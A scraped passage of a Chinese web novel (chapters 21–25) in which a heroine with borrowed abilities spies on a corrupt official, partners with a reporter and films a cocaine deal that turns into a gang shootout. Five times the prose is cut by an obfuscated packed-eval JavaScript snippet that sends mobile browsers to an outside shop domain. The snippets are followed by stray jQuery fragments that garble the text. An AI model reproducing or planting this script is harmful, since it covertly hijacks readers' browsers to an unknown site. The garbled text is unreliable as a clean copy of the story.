几乎是条件反射,她猛地向右侧滑步。 “呼!” 一把锋利的匕首带着劲风擦着她的脸庞而过,差之毫厘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753431|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 对方扑了个空,身体向前踉跄,匕首眼看就要插在地板上发出声响。菲伊眼疾手快,左手闪电般探出,攥住对方的手腕向上狠狠一翻。 “喀嚓。” 一声极轻的骨响,对方的手腕应声脱臼。 “唔——” 女人的痛呼刚出口,就被菲伊右手死死捂住了嘴。 她顺势夺过匕首,另一只手刀精准劈在女人的侧颈大动脉处。女人身体一软,径直向下瘫倒,菲伊伸手揽住她的腰,轻轻将人放在地上,全程没发出半点能惊动楼下的声响。 打开手电筒,光束扫过对方的脸:25岁上下,利落的深棕色短发,小麦色皮肤,典型的拉丁裔长相。 菲伊暗道一声好险,随即从包里掏出麻绳,麻利地将她的双手反捆在身后,又扯下女人的袜子塞进她嘴里。 她蹲下身翻了翻女人背上的黑色双肩包,首先摸出一个银灰色的物件。 是索尼刚推出的全球首款迷你数码相机,售价高达4000美元,刚上市就被记者和狗仔疯抢。 包里还有一台和维克多同款的微型磁带录音机,一个高倍望远镜,除此之外,只有几本写满字的笔记本和一支钢笔。 菲伊挑了挑眉。看这人的手掌细白无茧,刚才的反应也慢得离谱,不像练过的,装备倒是齐全得很。 这怕不是个蹲点挖黑料的狗仔? 没时间细想,系统的倒计时已经来到了3分57秒。 菲伊把女人连人带包塞进旁边的实木斗柜里,轻轻关上柜门。 至于对方的迷你DV和录音机,被她毫不客气地没收了,塞进自己的背包内层,又把那把匕首别在腰后。 确认暂时安全后,菲伊让系统将雷蒙的刺杀能力暂时解除。 【刺杀能力已解除。剩余时长:03:50。】 借着电筒微弱的光,她开始快速搜索起来。 20分钟后,菲伊几乎把书房翻了个底朝天,连书架最顶层的落灰旧书都一本本抽出来抖过,愣是半张有用的纸都没找到。 别说勾连黑/帮的证据了,连张写着电话号码的便签都没有。 “真是邪门了。” 菲伊蹲在地上揉着腰,心里犯嘀咕。 科尔明显有问题,怎么一点蛛丝马迹都没有呢? 难道这书房里有密室或者暗格?还是重要资料根本就没放在这里? 正琢磨着,楼下的动静突然停了。 紧接着,走廊传来高跟鞋的“哒哒”声,还有男女调笑声,正一步步往书房这边来。 菲伊:“?” 不是吧?这才过了多久,你们俩就完事了?再说了,卧室不在这个方向,往书房跑什么!难不成要在有书桌的地方玩角色扮演? 她迅速扫了一圈,整个书房能藏人的地方,只有刚才塞女记者的那个实木斗柜。 菲伊咬咬牙,一把拉开斗柜门,把里面的杂物扒拉到一边,使劲把自己蜷成一团塞了进去,再轻轻拉上柜门,只留了一条细缝透气。 “咔嗒。” 书房门被推开,金发女人娇滴滴的声音传了进来:“哈尼,你带我来这里干嘛呀?难道…… 你想在这里?” “怎么,刚才还没喂饱你?” 科尔低笑一声,“啪” 地拍了一下女人的屁股。 “讨厌。” 女人整个人挂在科尔身上,伸手把书房门反锁,把他抵在门板上,红唇凑到他耳边呵气,“今晚夜还长着呢,你想怎么样都行……” 斗柜里的菲伊浑身起了一层鸡皮疙瘩,恨不得把耳朵堵上。 她在心里疯狂呐喊:别啊,我还是个孩子!你们要点脸行不行!要搞去卧室搞啊! 就在她以为自己要被迫观看十八禁现场时,科尔忽然推开了女人,语气冷了下来:“行了,别装了,莉莉丝。说吧,今晚主动来找我,到底有什么事?” 菲伊猛地一怔,立马竖起耳朵。 老天开眼!终于上正菜了! 她赶紧摸出刚才从女记者包里顺来的磁带录音机,轻轻按下了录音键。 21. 第21章 “还是什么都瞒不过你。” 莉莉丝收起了娇态,靠在书桌上,点燃一支烟,轻轻吐出一个烟圈,“我就直说了吧,老大背着你搞了批货,今晚11点到港。” 科尔的脸色瞬间沉了下来:“什么货?” “还能是什么,‘Coke’呗。” 莉莉丝弹了弹烟灰,语气带着一丝不以为然,“这批货纯度极高,从哥伦比亚转了三道才运过来,利润至少翻十倍。 他不想你抽走五成,半个字都没跟你提,连弗雷多都瞒着,只带了他那两个心腹在弄。” 科尔没说话,手指轻轻敲击着桌面,发出“笃笃”的轻响,空气里弥漫着一股危险的气息。 菲伊在斗柜里屏住了呼吸,她知道 “Coke” 是可/卡/因的黑话。 难怪科尔这么生气,蝎子帮老大居然敢背着他私吞这么大一笔生意。 “他倒是胆子越来越大了。” 科尔冷笑一声,“敢在我眼皮子底下搞小动作,我看他是活腻了。” “别急。” 莉莉丝走过去,伸手搂住他的脖子,“我和弗雷多早就看他不顺眼了。他贪得无厌,好处全都自己占,兄弟们怨声载道。这次他偷偷运货,我们正好逮着了机会。” 她顿了顿,压低声音:“我灌醉他那个心腹,套出了卸货地点和时间,让人提前截了胡。现在那批货,全在我们手里。” 科尔挑了挑眉:“哦?你们想怎样?” “这批货我们一分不要,全给你。” 莉莉丝看着他,眼里露出毫不掩饰的野心,“我们只要你帮我们一把,把老大拉下马。 以后蝎子帮由我和弗雷多说了算,规矩不变,每笔生意照样给你抽五成。而且以后不管什么事,我们都绝对不会瞒着你。” 这时,那名被菲伊敲晕的女人醒过来,她缓缓睁开眼,发现自己被捆着,懵了一瞬,突然意识到什么,立刻就要挣扎着爬起来。 菲伊听到动静,连忙伸手将其死死按住,用只有两人能听见的声音低吼:“别动!想活命就闭嘴!” 女人的身体陡然僵住。 外面,科尔的笑声刚好响起,盖过了柜子里微弱的动静。 “原来你们打的是这个主意。” 科尔拍了拍莉莉丝的脸,语气带着一丝玩味,“行,我答应你。现在带我去看货。要是你敢骗我,你知道后果。” “我怎么敢骗你呢。” 莉莉丝笑了起来,挽住他的胳膊,“货就在城南的废弃仓库里,我现在就带你过去。” 两人说着,转身走出了书房。 “咔哒” 一声,书房门被带上,脚步声渐渐远去。 斗柜里的菲伊长长松了口气,浑身都被冷汗浸湿了。 刚才那几分钟,简直比她上次被蝎子帮追杀还要刺激。 听到楼下车库卷帘门升起的声音,菲伊才彻底松了手上的力道。 斗柜里的女人又开始挣扎起来,嘴里的布团堵得她脸颊通红,只能发出 “呜呜” 的闷声。 菲伊蹲下身,指尖比在唇上:“我问你答,是点头,不是摇头。我看你表现决定放不放你,明白?” 对方忙不迭点头。 “你是记者?” 点头。 “专门来挖科尔黑料的?” 又是重重点头。 菲伊盯着她的眼睛看了两秒,没看出撒谎的痕迹,伸手扯掉她嘴里的布团,又飞快解开手腕上的绳索:“别叫,外面说不定还有人。” 女记者刚能说话,先咳了两声,随即皱着眉盯着菲伊手里的布团,越看越眼熟:“这……这不是我的袜子吗?!” “哦,对啊。” 菲伊一脸坦然地把袜子扔给她,“当时急着堵嘴,找不着别的,就顺手脱了你的袜子。总不能脱我自己的吧?你自己的袜子,嫌弃什么。” 女记者:“……” 她深吸一口气,把到嘴边的脏话硬生生咽了回去,咬着牙道:“刚才那两人的话我都听见了,他们要去看货,是什么货?” “Coke。” 菲伊快步走到窗边,撩开窗帘一条缝,正好看见科尔的蓝色丰田驶出车库,“你开车了吗?” “开了!” 女记者也知道事态紧急,现在不是算旧账的时候,抓起自己的背包,率先冲出门去,“跟我来!” 菲伊挑挑眉:嗯,能分得出轻重,勉强可以做个临时搭档。 半分钟后,菲伊站在一辆掉漆的红色本田摩托车前,想要收回自己刚才的评价。 “这就是你的车?” “有轮子啊,怎么不是车了?” 女记者熟练地戴上头盔,长腿一跨,利落坐上车,随手扔给菲伊一个备用头盔,“别废话,科尔的车都拐过街角了,再磨蹭就追不上了!” 菲伊认命地戴上头盔,坐上摩托:“你车技没问题吧?我可不想半路摔成残废。” 女记者嗤笑一声,猛地拧下油门:“坐稳了!姐姐这手艺可是多年追新闻练出来的!” 下一秒,引擎爆发出刺耳的轰鸣,摩托车猛地窜了出去。 菲伊猝不及防,整个人向后仰去,吓得赶紧伸手死死抱住她的腰。风在耳边呼啸而过,路边的路灯和建筑飞速向后倒退。 女记者的车技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753432|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 确实“好”,而且“好”得有些离谱! 红灯直接闯,小巷随便钻,遇到减速带根本不减速,整辆车腾空而起又重重砸在地上。 菲伊被颠得七荤八素,胃里翻江倒海,感觉五脏六腑都要被颠出来了。 一路狂飙了二十分钟,摩托车终于在一片破败的工业区边缘缓缓停下。 菲伊几乎是连滚带爬地从车上下来,扶着旁边的电线杆就开始干呕。缓了好半天,才勉强直起腰。 “切,不是吧,你怎么这么弱?” 女记者摘下头盔,甩了甩利落的短发,看着菲伊狼狈的样子,毫不掩饰地嘲笑,“坐个摩托车还能晕车,真是菜鸡。” 菲伊擦了擦嘴角,在心里翻了个巨大的白眼。她绝对是故意的!绝对是报复我敲晕她还拿她的袜子堵嘴! 这小心眼的女人! “别废话。” 菲伊没好气地瞪了她一眼,拉着她蹲到旁边的杂草丛里,“我记得你包里有望远镜,快拿出来。” 女记者一边嘟囔着“要不是打不过你……”,一边拉开背包。指尖在包里摸索了两下,她的脸色骤然一变。 “我的DV呢?还有我的录音机呢?” 她猛地看向菲伊,眼睛瞪得溜圆,“是你拿了对不对?你个小偷!那可是我省吃俭用大半年才买的!” “小声点!你想把他们引过来吗?” 菲伊赶紧捂住她的嘴,压低声音解释,“我不是偷,是临时保管。当时情况紧急,你的东西又太扎眼,万一被科尔发现,里面储存的东西不就暴露了?” 女记者用力掰开她的手,气得胸脯上下起伏,拳头攥得咯咯响。但她想起菲伊之前轻松制服她的身手,最终还是把火气压了下去,咬着牙说:“我什么都没拍到!DV里是空的,不信你自己看!” 菲伊也没跟她客气,拿出 DV快速翻了一遍,里面果然只有几段测试用的黑屏视频。她把 DV 和录音机还给对方,自己留下了那盒磁带。 “磁带由我保管,里面有那两人的对话录音。” 菲伊看着她,一脸认真道:“你想挖科尔的黑料曝光他,我和跟科尔身边的那个女人有仇,要抓她的把柄。我们目标一致,暂时联手。等拿到足够的证据,你写你的报道,我报我的仇,互不相干。怎么样?” 菲伊避重就轻,没有全盘坦白自己的秘密,防人之心不可无,谁知道这个不知从哪儿冒出来的记者,到底什么来头。 女记者盯着她看了几秒,最终点了点头,“成交。” 两人不再多说,压低身形,找了一处杂草丛生、视野开阔的土坡蹲下,隐蔽身形观察前方。 22. 第22章 科尔的车在一栋废弃的厂房前停下。 厂房周围荒草丛生,围墙塌了大半,看着空无一人。 可就在丰田车靠近的刹那,两个穿着黑色连帽衫的男人从阴影里走出来,手里端着霰/弹/枪,对准车内。 莉莉丝摇下车窗,对着两人说了句什么。 守卫看清她的脸,很快放下枪,拉开厂房的大铁门。丰田车缓缓开进去,铁门再度关上,隔绝了外面的视线。 菲伊放下手里的望远镜,神色凝重:“必须想办法进去。” 身旁的女记者立刻点头:“我也是这么想的。我蹲了他整整三个月,好不容易抓到他的尾巴,绝不能就这么走了。” 厂房正门把守严密,两名持枪壮汉寸步不离,硬闯无异于自投罗网。 两人默契弯腰压低身形,贴着荒草阴影,悄无声息绕至厂房后方。 这里空旷开阔,没有任何建筑可以遮挡,只有趴伏在地面,才能勉强借着草叶遮掩身形。 女人试探性抬头张望,见四周没有人,便准备起身往前探查:“这里看着没人守,我去看看。” “等等!”菲伊飞快伸手,一把将她拽回草丛,按住她的肩膀压低身子。 她随手捡起一块指尖大小的石子,手腕轻扬,石子破空而出,落在厂房前方的草地上。 “啪。” 沉闷的落地声在寂静夜里格外清晰。 两人屏息凝神,一动不动静待数秒,厂房周边依旧安静, 没有守卫出现。 “看吧,我就说没人。” 女人甩开她的手,猫着腰快步走到墙根下,抬头一看,顿时傻眼了。 眼前是一面足足四层楼高的光滑水泥墙,连个能落脚的凸起都没有。 “怪不得没人守着。” 女人嘴角抽了抽,“这墙,就算詹姆斯·邦德来了也爬不上去啊。” 菲伊也犯了愁。 屋顶倒是有通风口可以进入厂房里面,但前提是能爬上这12米高的墙啊。 别说她现在只是借用了雷蒙的刺杀能力,就算雷蒙本人来了,没有专业的攀爬工具,望着这堵墙也只能干瞪眼。 要是在武侠世界就好了,随便兑换个轻功,脚尖一点就上去了;或者漫威世界也行,来个蜘蛛侠的吐丝能力,“嗖” 一下就荡上去了…… 诶?等等,蜘蛛侠? 菲伊倏地抬头,视线很快锁定右上方的墙面—— 一只灰黑色的小蜘蛛正拖着丝,慢悠悠地往下爬。 而它下方的草丛里,一只巴掌大的壁虎正一动不动地趴着,眼睛死死盯着自己的猎物。 【系统,我能租借蜘蛛的攀爬能力吗?】菲伊在心里满怀期待地问。 【不可以。】系统冷冰冰地回道。 【为什么?!】 【任何超出人类基因极限的能力均无法租借。从一开始就告知过宿主了。蜘蛛依靠足部刚毛产生的范德华力吸附墙面,同时辅以蛛丝固定、移动。 请问宿主能在手部生长出纳米级刚毛,还是能从手腕分泌粘性蛛丝?以上均超出人类生理范畴,故无法租借。】 菲伊:“……” 临时基因突变还来得及吗? 就在她与系统掰扯的时候,旁边的女人已经开始付诸行动了。 助跑、起跳,企图去抠住离地面最近的一道裂缝……想法很好,可惜想法和实践差了一条马里亚纳海沟,尝试多次均以失败告终,没一会儿就摔得满身土,狼狈不堪。 好在厂房占地面积极大,后方距离正门较远,动静微弱,才没有惊动门口的持枪守卫。 “你省点力气吧。”菲伊伸手拉住她,“这样爬,爬到天亮也上不去。” 她垂下手,语气急躁又不甘:“那怎么办?难道今晚就这么无功而返?光凭那段录音,科尔随便找个律师就能脱罪!必须拍到他们交易的画面,人赃并获才行!” “你冷静一点,我再想想办法。” 女人抬头看向菲伊,眼底满是期待:“你身手那么厉害,肯定有办法上去,对不对?” 菲伊:“……” 此刻草丛之中,蛰伏已久的壁虎终于发动攻势。 它四肢猛然发力,像一道闪电般向上窜出半米多高,舌头闪电般一卷,那只蜘蛛瞬间就被吞进了肚子里。 这一幕落入菲伊眼中,她漆黑的眸子募地一亮。 蜘蛛不行,这不是还有壁虎? 系统提醒:【壁虎垂直攀爬依靠脚趾刚毛产生的范德华力,与蜘蛛原理一致, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753433|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 超出人类基因极限,无法租借。】 【谁要租借它的攀爬能力了!】菲伊在心里反驳,【我要租借它的肌肉爆发力!你看它刚才那一跃,都快有它身长的十倍高了!】 她记得以前看过科普,壁虎的肌肉爆发力极其惊人,单肢能拉起自身体重三倍的东西,瞬间爆发速度能达到每秒移动20个身长。 就算人类的身体承受不了这么夸张的强度,打个折扣,能跳个两三米高也行啊! 【壁虎的肌肉力量可以租借吗?】菲伊满怀希望地问。 【理论可行。】系统顿了顿,补充道,【但该目标当前对宿主的好感度为5%,未达到最低租借门槛20%,无法兑换。】 菲伊:“……” 差点忘了这个该死的好感度设定! 她立马转头看向旁边的女人,语气斩钉截铁:“我有办法了!但需要你帮我一个忙!” “什么忙?你说!只要能进去,让我干什么都行!” 女人立刻来了精神,满眼期待地看着她。 “帮我抓点蜘蛛、蚊子或者小飞虫来,越多越好。” “什么?!” 女人差点喊出声,菲伊眼疾手快,一把捂住她的嘴。 “小声点!你想把守卫引过来吗?” 菲伊压低声音,“没时间解释了。照我说的做就行,保证能进去。” 女人瞪大了眼睛,一脸难以置信地看着她,但看着菲伊认真的眼神,不是在开玩笑,她最终还是咬了咬牙,点头同意。 两人分头行动。菲伊小心翼翼地伸出手,趁那只壁虎还在消化猎物,一把将它扣在了手心。小家伙在她掌心里拼命挣扎,冰凉的触感让菲伊起了一身鸡皮疙瘩。她赶紧把它放进背包的侧袋里,留了条缝透气。 没过多久,女人一脸嫌弃地回来了,手里攥着一片树叶,上面裹着三只半死不活的蜘蛛和两只蚊子。 “只找到这些。” 她把树叶递过来,嫌恶地在衣服上擦了擦手,“你到底要干什么?总不能是靠这些虫子把墙啃出个洞来吧?” 菲伊没解释,把壁虎倒出来,放在空地上。 小家伙一出来就想跑,被菲伊用手指轻轻按住。她捏起一只蜘蛛,递到壁虎嘴边。 壁虎犹豫了一下,张开嘴一口吞了下去。 23. 第23章 【壁虎对宿主好感度+4%。】 有戏!菲伊眼睛一亮,立即如法炮制。 【壁虎对宿主好感度+6%。】 【壁虎对宿主好感度+5%。】 而整幅画面落在女记者眼中,就显得无比诡异了: 昏沉夜色下,少女蹲在杂草堆里,耐心投喂一只壁虎,动作轻柔,神情专注。喂食越往后,少女脸上的笑容越热烈,看壁虎的那眼神像是在看什么稀世珍宝似的。 不是,她俩冒着生命危险潜伏至此,为何却要蹲在荒草里喂壁虎? 是她疯了还是对方疯了? 又或者……这女孩嗑/药了? 这个念头在她脑海里疯狂打转。她偷偷打量菲伊,见她眼神清明,动作利落,一点都不像嗑多了的样子。可正常人谁会半夜干这种事啊! 就在女人快要怀疑人生的时候,最后一只蚊子也被壁虎吞进了肚子里。 【壁虎好感度+5%,当前好感度25%,已超过租借最低门槛。】 “成了!” 菲伊兴奋地一拍手,小心翼翼地把壁虎放回草丛里,“谢谢你啊兄弟,回头给你多带点虫子。” 她站起身,拍了拍手上的灰,心底默念:【系统,租借壁虎肌肉爆发力。】 【该能力F级,15美元/分钟,宿主需要租借多久?】 【先来个10分钟吧!】 【扣除租金150美元,能力租借生效,倒计时10:00。】 菲伊活动了一下手脚,指节发出清脆的 “咔咔” 声,一股从未有过的爆炸性力量在四肢百骸里奔涌,仿佛轻轻一跳就能离地三尺。 她嘴角勾起一抹满意的笑,转头却对上女记者直勾勾的眼神,里面写满了 “你果然嗑药了”“我现在跑还来得及吗” 的复杂情绪。 “你那什么表情!” 菲伊翻了个大白眼,朝她伸出手,“别愣着,把DV给我。” 女记者下意识把包往怀里抱了抱,满脸警惕:“你要干嘛?你该不会要抢了我的DV跑路吧?” “跑什么路啊!” 菲伊没好气地说,“我现在浑身都是劲,应该能爬上去了。你在下面等着,我进去拍交易现场。” “真的假的?” 女记者上下打量她,眼神里的怀疑都快溢出来了。 “快点!再耽误下去,我怕里面都散场了!” 菲伊懒得跟她废话,伸手直接把背包抢了过来,取出里面的DV挂在自己脖子上。 女记者心疼地直跺脚:“哎,你轻点啊!这可是我吃饭的家伙!磕了碰了我跟你拼命!” 菲伊没理她,顺手从腰后摸出一把寒光闪闪的匕首。 女记者一愣,指着匕首瞪圆了眼睛:“这不是我的匕首吗?你什么时候偷的!” “说什么偷,多难听!我借它用一用。” 菲伊掂了掂匕首,“对了,你这匕首够结实吗?不会一不小心就断了吧?” “断?” 女记者气得鼻子都歪了,“这可是军用级匕首!特种部队同款,削铁如泥!你懂不懂啊!” “那就好。” 菲伊话音刚落,抬手对着光滑的水泥墙用力一戳。 “噗嗤。” 锋利的刀刃毫无阻碍地插进了坚硬的水泥里。 空气瞬间凝固。 女记者张着嘴,呆呆地看着墙上的匕首,又看看菲伊纤细的手腕,大脑彻底宕机。 就算这匕首再锋利,也不可能徒手插进水泥墙啊!这已经超出物理定律了吧?! 菲伊满意地拔出匕首,在裤子上擦了擦灰,转头吩咐道:“对了,你知道怎么联系蝎子帮的老大吗?” 女记者回神,警惕地看着她:“你问这个干嘛?” “很简单。” 菲伊靠在墙上,轻描淡写道,“5分钟后,你想办法通知蝎子帮老大,告诉他莉莉丝黑了他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753434|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 货,现在正在城南废弃厂房和科尔交易。” 女记者眼睛亮了,一拍大腿:“我懂了!你是想让他们狗咬狗!” 菲伊颔首:“没错。科尔和莉莉丝想吞了这批货上位,蝎子帮老大肯定不会善罢甘休。等他们打起来,我们正好坐收渔利。” 她说着转身就要走,突然又想起什么,回头补充道:“对了,还有一件事,要你帮忙……” 她凑到女记者耳边,压低声音说了几句。 女记者的表情十分疑惑,但最后还是用力点了点头:“放心!包在我身上!” 菲伊不再多言,后退几步,深吸一口气。 体内的壁虎肌肉爆发力瞬间调动起来,她双腿猛地发力,像一颗出膛的炮弹般向前冲去。 在距离墙面还有两米的地方,她脚尖一点,整个人腾空而起,竟然直接向上跃出了三米多高! 就在身体开始下坠的瞬间,菲伊手腕一翻,匕首狠狠插进水泥墙里。 “咔。” 刀刃稳稳嵌在墙中,她借着这股力量稳住身体,屈膝蹬墙,同时猛地拔出匕首,身体再次腾空,又是一个三米高的跳跃。 一次、两次、三次、四次。 整个过程行云流水,没有半点拖沓。 不到十秒的功夫,菲伊已经翻身攀上了厂房的屋顶。 下面的女记者仰着头,嘴巴张得能塞进一个鸡蛋,手里的望远镜 “啪嗒” 一声掉在地上。 她呆呆地看着屋顶上那个小小的身影,脑子里一片混乱。 这、这真的是人类能做到的吗? 詹姆斯·邦德来了也得甘拜下风吧。 难道,对方是个女巫?刚刚喂壁虎时,使用了某种东方的神秘巫术? 女记者打了个哆嗦,看着菲伊消失在屋顶通风口的背影,默默捡起了地上的望远镜。 不管怎样,这波……应该稳了。 24. 第24章 厂房中央,几盏老旧白炽灯摇摇欲坠,滋滋的电流杂音里,昏黄的灯光沉沉落下,堪堪笼住下方那片交易区域。 莉莉丝靠在一张锈迹斑斑的铁桌上,两指夹着一支烟,吞云吐雾。 她身边站着一个独眼男人,皮肤黝黑,身材精瘦,正是蝎子帮二把手马克。 十几个黑衣手下分散站在四周,手里都握着上了膛的枪,眼神警惕地扫视着周围。 “货呢?” 科尔双手插在裤兜里,慢悠悠地说道,脸上挂着惯有的笑容。 马克没说话,冲旁边的手下抬了抬下巴。手下立刻上前,将一个黑色的手提箱放在铁桌上,“啪” 地打开。 箱子里整齐地码着十包用透明密封袋包裹的白色粉末。 科尔伸手拿起一包,用指甲挖了一点粉末,凑到鼻尖闻了闻,又捻了捻指尖。 接着掏出一个打火机,点燃一小撮粉末,看着它燃烧后留下的灰烬,满意地点点头:“纯度不错,比上次那批好。” 马克示意手下关上手提箱,伸手将箱子推到科尔面前:“你满意就好。按照约定,这批货现在就是你的了。” 谁知科尔却伸手按住箱子,没有接。 空气骤然收紧。 马克的脸色沉了下来,旁边的手下立刻拔出手/枪,枪口对准科尔,目露凶光:“妈的,你想反悔?!” “别这么激动。” 科尔脸上的笑容不变,慢悠悠地收回手,“我当然没反悔。货是好货,但你们知道我的规矩——我从不亲自沾这些东西。” 他顿了顿,伸出拇指和食指,做了个数钱的动作:“货你们留着,怎么分销、怎么处理我不管。我只要现金。” 莉莉丝轻笑一声,将烟蒂摁灭在铁桌上:“我明白了。你这是只想拿钱,不想沾半点风险。” “聪明。” 科尔挑眉,“这样吧,我也不多要。按照市价,给我400万,这事就算成了。” “400万?!” 马克直接被气笑,独眼里怒火翻涌,往前踏出一步,周身戾气瞬时炸开。 “局长大人,你这胃口未免太大了吧!现在市面上最高纯度的Coke一克才300美元,10公斤撑死300万!你一开口就要400万,足足多了一百万!” 他们冒着背叛老大、内斗火拼的风险截下这批货,后续还要承担分销风险、给底下兄弟分润,全部算下来,这批货到最后能赚到几个钱? 眼前这人如此狮子大开口,分明不是诚心谈合作,而是想趁火打劫。 他死死盯着科尔,寒声道:“以前毒蝎当家,每笔生意只分你五成。现在我们把整批货都给你,你还不知足?” “这不一样。” 科尔老神在在,任凭十几只枪口相向,连眼皮都没抬一下。他慢悠悠掏出一块丝质手帕,擦了擦指甲缝里不存在的灰,唇角的笑意愈发阴狡贪婪。 “以前我只需要坐在办公室里喝咖啡,毒蝎就会乖乖把五成利润打进我账户。可现在呢?” 他微微前倾身体,声音压低,“你们要我帮你们做掉毒蝎,还要我帮你们擦屁股坐稳老大的位子。四百万,买一条命,换你们后半辈子躺着收钱。这笔买卖,傻子都知道谁赚了。” “Fuck!”马克气得一拳砸在桌上,独眼里的凶光几乎要凝成实质。 莉莉丝伸手按住马克的胳膊,冲他摇了摇头,示意他别冲动。 她知道科尔是故意坐地起价,可现在他们有求于人,根本没有讨价还价的余地。要是科尔不肯帮忙,别说上位了,毒蝎知道他们黑了货,第一个就会弄死他们。 莉莉丝转头看向科尔,脸上重新挤出能掐出水的媚笑: “科尔,你这也太为难我们了。毒蝎一日不倒,这货我们根本不敢动,上哪凑400万去? 你看这样行不行,先付200万,剩下的钱,等事成之后,我们连本代利给你送过去,如何?” “不行。” 科尔毫不犹豫地拒绝了,将手帕揣回口袋,“钱必须一次性付清。钱到位了,事才好办。明天中午12点之前,400万必须一分不少打进我开曼群岛的账户。不然的话…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753435|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ” 他话没说完,但意思已经很明显。 就在两方人马剑拔弩张、气氛紧张到极点之时,没人注意到,头顶十几米高的通风管道里,一个黑黝黝的镜头正对着他们,将底下的一切清晰地录了下来。 时间回到5分钟前。 菲伊沿着狭窄的通风管道慢慢往前爬,金属管壁到处都是厚厚的积灰,呛得她差点打喷嚏。 只能死死捂住嘴,憋得眼泪都快出来了。 “以后出门要是不带三个口罩,我就是狗!”她在心里愤愤道。 爬了一会儿,终于有隐约的说话声传来。 菲伊精神一振,立刻屏住呼吸,耳朵贴在管壁上。 没错,就是这里了! 她掏出匕首,小心翼翼地割着管道连接处的铁皮。金属被利刃划开时,发出轻微的“滋滋”声,好在下面的人吵的正凶,没人留意到头顶的些微声响。 很快,一道三厘米宽的缝隙被割开。菲伊小心地把DV镜头对准缝隙,调整好角度,按下了录制键。 她趴在管道里,屏住呼吸,看着底下讨价还价的几个人,心里的吐槽弹幕已经刷满了屏: 好家伙,科尔这老东西也太黑了吧!300万的货,张口就要400万,还不让还价! 嘿,他明明就是在抢,还耐着性子找这么多借口,人还怪好的嘞。 啧啧,那个独眼龙刚才拔枪的样子挺凶,结果还不是被科尔拿捏得死死的。 果然,混黑/帮的再狠,也狠不过穿官衣的黑警啊。 她攥紧手里的DV,心脏砰砰直跳。 有了这段视频,再加上之前录下的密谋录音,就算科尔手眼通天,这次也绝对能将他和蝎子帮一网打尽。 哦,不对,想要一网打尽,怎么能少得了另一个主角呢? 也不知道那个女记者靠不靠谱,通知到位了没。 菲伊正琢磨着,仓库外突然传来“砰砰砰”的枪声,接着就是剧烈撞门声和男人的怒吼。 菲伊眼睛一亮,说曹操,曹操到! 25. 第25章 随着“哐当”一声巨响,厚重的铁门猛地砸在地上,毒蝎带着十几个手持砍刀和霰/弹/枪的手下冲了进来。 他一眼就看到了桌子上的黑色手提箱,还有站在旁边的科尔、莉莉丝和马克,脸色瞬间变得铁青。 “好啊!你们这群狗杂*********!” 毒蝎气得浑身发抖,指着马克几人破口大骂,“我拿你们当兄弟,你们居然敢联合外人黑我的货,还想搞死我!” 莉莉丝脸色大变,下意识地伸手去摸腰间的枪。马克也反应过来,对着手下大喊:“愣着干什么?开枪!” “砰!” 不知是谁先开了第一枪。 顷刻间,整个厂房里枪声大作。 子弹横飞,木屑四溅,废弃的机床被打得千疮百孔。毒蝎的人早就憋着一股火,冲上来就和马克的手下砍杀在一起,喊杀声、惨叫声、枪声混杂在一起,乱成一团。 混乱中,科尔趁没人注意,一把抓起掉在地上的手提箱,转身就往门外跑。 “科尔!你给我站住!” 莉莉丝眼尖,一眼就看到了偷偷跑路的科尔。她抬手就是一枪,子弹擦着科尔的胳膊飞过,打在了墙上。 